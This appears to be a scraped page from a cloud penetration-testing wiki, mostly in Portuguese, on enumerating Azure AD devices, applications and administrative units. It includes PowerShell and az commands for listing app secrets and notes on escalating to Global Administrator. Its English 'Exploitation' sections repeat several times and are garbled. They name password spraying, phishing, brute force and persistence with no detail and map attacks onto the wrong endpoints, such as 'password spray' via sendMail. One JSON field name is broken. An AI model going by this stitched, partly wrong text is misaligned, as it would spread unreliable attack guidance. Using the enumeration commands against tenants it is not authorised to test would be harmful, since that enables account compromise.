(Invoke-RestMethod @RequestParams).value

Dispositivos

# If you know how to do this send a PR!

Azure AD

Enumeration

Users

  1. Enumerate users using the Azure AD Graph API:

GET https://graph.windows.net/myorganization/users?api-version=1.6

  1. Enumerate users using Microsoft Graph API:

GET https://graph.microsoft.com/v1.0/users

Groups

  1. Enumerate groups using the Azure AD Graph API:

GET https://graph.windows.net/myorganization/groups?api-version=1.6

  1. Enumerate groups using Microsoft Graph API:

GET https://graph.microsoft.com/v1.0/groups

Applications

  1. Enumerate applications using the Azure AD Graph API:

GET https://graph.windows.net/myorganization/applications?api-version=1.6

  1. Enumerate applications using Microsoft Graph API:

GET https://graph.microsoft.com/v1.0/applications

Exploitation

Password Spraying

  1. Perform password spraying attacks against Azure AD:

POST https://login.microsoftonline.com/myorganization/oauth2/token

Phishing

  1. Conduct phishing campaigns targeting Azure AD users.

Brute Force

  1. Perform brute force attacks against Azure AD authentication endpoints.

Post-Exploitation

Token Extraction

  1. Extract tokens from compromised Azure AD accounts.

Persistence

  1. Establish persistence by creating backdoors in Azure AD configurations.

Data Exfiltration

  1. Exfiltrate sensitive data from Azure AD using various techniques.

# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }

Se um dispositivo (VM) estiver associado ao AzureAD, os usuários do AzureAD poderão fazer login. Além disso, se o usuário logado for Proprietário do dispositivo, ele será administrador local.

Aplicações

Apps são Registros de Aplicativos no portal (não Aplicações Corporativas). Mas cada Registro de Aplicativo irá criar uma Aplicação Corporativa (Principal de Serviço) com o mesmo nome. Além disso, se o App for um App multi-inquilino, outra Aplicação Corporativa (Principal de Serviço) será criada naquele inquilino com o mesmo nome.

Quando um App é gerado, são concedidos 2 tipos de permissões:

  • Permissões concedidas ao Principal de Serviço

  • Permissões que o app pode ter e usar em nome do usuário.

# List Apps
az ad app list
az ad app list --query "[].[displayName]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# List all the apps with an application password
az ad app list --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad app list --query "[?keyCredentials != null].displayName"

Azure AD

Enumeration

Users

  1. Enumerate users using the Azure AD Graph API:

GET https://graph.windows.net/myorganization/users?api-version=1.6

  1. Enumerate users using Microsoft Graph API:

GET https://graph.microsoft.com/v1.0/users

Groups

  1. Enumerate groups using the Azure AD Graph API:

GET https://graph.windows.net/myorganization/groups?api-version=1.6

  1. Enumerate groups using Microsoft Graph API:

GET https://graph.microsoft.com/v1.0/groups

Applications

  1. Enumerate applications using the Azure AD Graph API:

GET https://graph.windows.net/myorganization/applications?api-version=1.6

  1. Enumerate applications using Microsoft Graph API:

GET https://graph.microsoft.com/v1.0/applications

Exploitation

Password Spray Attack

  1. Perform a password spray attack using the Microsoft Graph API:

POST https://graph.microsoft.com/v1.0/users/{user_id}/sendMail

Token Impersonation

  1. Perform token impersonation using the Microsoft Graph API:

POST https://graph.microsoft.com/v1.0/users/{user_id}/sendMail

Persistence

Application Consent

  1. Grant application consent using the Azure AD Graph API:

POST https://graph.windows.net/myorganization/oauth2PermissionGrants?api-version=1.6
``json
{
  "clientId": "{client_id}",
  "consentType": "AllPrincipals",
  "resourceId": "{resource_id}"
}

  1. Grant application consent using Microsoft Graph API:

POST https://graph.microsoft.com/v1.0/oauth2PermissionGrants
``json
{
  "clientId": "{client_id}",
  "consjsonentType": "AllPrincipals",
  "resourceId": "{resource_id}"
}
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

AzureAD

Enumerate AzureAD roles

Get-AzureADDirectoryRole

Enumerate AzureAD users

Get-AzureADUser

Enumerate AzureAD groups

Get-AzureADGroup

Enumreamte AzureAD group members

Get-AzureADGroupMember -ObjectId <groupObjectId>

Enumerate AzureAD service principals

Get-AzureADServicePrincipal

Enumerate AzureAD applications

Get-AzureADApplication

Enumerate AzureAD devices

Get-AzureADDevice
``json
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential

Um aplicativo com a permissão AppRoleAssignment.ReadWrite pode escalar para Administrador Global concedendo a si mesmo a função. Para mais informações verifique isso.

Uma string secreta que o aplicativo usa para provar sua identidade ao solicitar um token é a senha do aplicativo. Portanto, se encontrar esta senha, você pode acessar como o princípio de serviço dentro do locatário. Observe que esta senha só é visível quando gerada (você poderia alterá-la, mas não pode obtê-la novamente). O proprietário do aplicativo pode adicionar uma senha a ele (para que ele possa se passar por ele). Os logins como esses princípios de serviço não são marcados como arriscados e eles não terão MFA.

Diferença entre Aplicativos e (Aplicativos Corporativos ou Princípios de Serviço)

Diferença entre um aplicativo e um Princípio de Serviço no Azure:

  • Aplicativo/Registros de Aplicativos: São aplicativos que existem no seu Azure AD

  • (Get-AzureADApplication -filter "DisplayName eq 'testapp'")

  • Princípio de Serviço/Aplicativos Corporativos: Objetos de segurança no seu Azure AD que podem ter privilégios no Diretório Azure e estão vinculados ao seu aplicativo ou a um aplicativo de terceiros

  • Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")

  • Um administrador pode precisar aprovar as permissões concedidas se forem muito sensíveis.

Um aplicativo pode estar em um locatário de terceiros e uma vez que você começa a usá-lo e dá acesso a ele, um Aplicativo Corporativo/Princípio de Serviço é criado em seu locatário para dar acesso às informações de que ele precisa:

Unidades Administrativas

É usado para melhor gerenciamento de usuários.

As unidades administrativas restringem permissões em uma função para qualquer parte de sua organização que você define. Você poderia, por exemplo, usar unidades administrativas para delegar a função de Administrador de Helpdesk a especialistas em suporte regional, para que eles possam gerenciar usuários apenas na região que eles suportam.

Portanto, você pode atribuir funções à unidade administrativa e os membros dela terão essas funções.

AzureAD

Enumeration

Users

  • List all users:

    • GET https://graph.windows.net/myorganization/users?api-version=1.6

  • Get user by object ID:

    • GET https://graph.windows.net/myorganization/users/{object_id}?api-version=1.6

  • Get user by user principal name:

    • GET https://graph.windows.net/myorganization/users/{user_principal_name}?api-version=1.6

Groups

  • List all groups:

    • GET https://graph.windows.net/myorganization/groups?api-version=1.6

  • Get group by object ID:

    • GET https://graph.windows.net/myorganization/groups/{object_id}?api-version=1.6

  • Get group by display name:

    • GET https://graph.windows.net/myorganization/groups?$filter=displayName eq '{display_name}'&api-version=1.6

Applications

  • List all applications:

    • GET https://graph.windows.net/myorganization/applications?api-version=1.6

  • Get application by object ID:

    • GET https://graph.windows.net/myorganization/applications/{object_id}?api-version=1.6

  • Get application by display name:

    • GET https://graph.windows.net/myorganization/applications?$filter=displayName eq '{display_name}'&api-version=1.6

Exploitation

  • Password Spray Attack:

    • Perform password spray attacks using a list of common passwords against Azure AD accounts to identify weak passwords.

  • Phishing Attacks:

    • Conduct phishing attacks to trick users into revealing their credentials, which can then be used to gain unauthorized access to Azure AD resources.

  • Brute Force Attacks:

    • Launch brute force attacks to guess user passwords and gain unauthorized access to Azure AD accounts.

# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members

Proteção de Identidade do Azure AD (AIP)

A Proteção de Identidade do Azure AD (AIP) é um serviço de segurança que utiliza detecção automatizada e remediação para ajudar a proteger as identidades do usuário no Azure Active Directory contra comprometimento. A AIP monitora continuamente e avalia o risco de logins de usuários e configurações de identidade, aplicando automaticamente medidas de segurança apropriadas, como exigir autenticação multifator ou bloquear atividades potencialmente perigosas. Isso ajuda as organizações a prevenir violações de segurança baseadas em identidade.

Fluxo:

  1. A Proteção de Identidade do Azure AD monitora as atividades do usuário e coleta dados sobre logins de usuários, eventos de autenticação e outras atividades relevantes.

  2. O serviço utiliza algoritmos de aprendizado de máquina para analisar esses dados e detectar possíveis ameaças de segurança.

  3. A Proteção de Identidade do Azure AD atribui um nível de risco à ameaça (por exemplo, login) e gera um alerta, se necessário, para realizar alguma ação automática.

Proteção de Senha do Azure AD (APP)

A Proteção de Senha do Azure AD (APP) é um recurso de segurança que ajuda a prevenir senhas fracas no Azure Active Directory, aplicando políticas de senha fortes. O APP bloqueia senhas fracas comumente usadas e suas variantes, reduzindo o risco de violações relacionadas a senhas. Pode ser aplicado tanto no nível da nuvem quanto no Active Directory local, aprimorando a segurança geral das senhas em toda a organização.

Referências

AnteriorAz - Device RegistrationSiguienteAz - Conditional Access Policies / MFA Bypass

Última actualización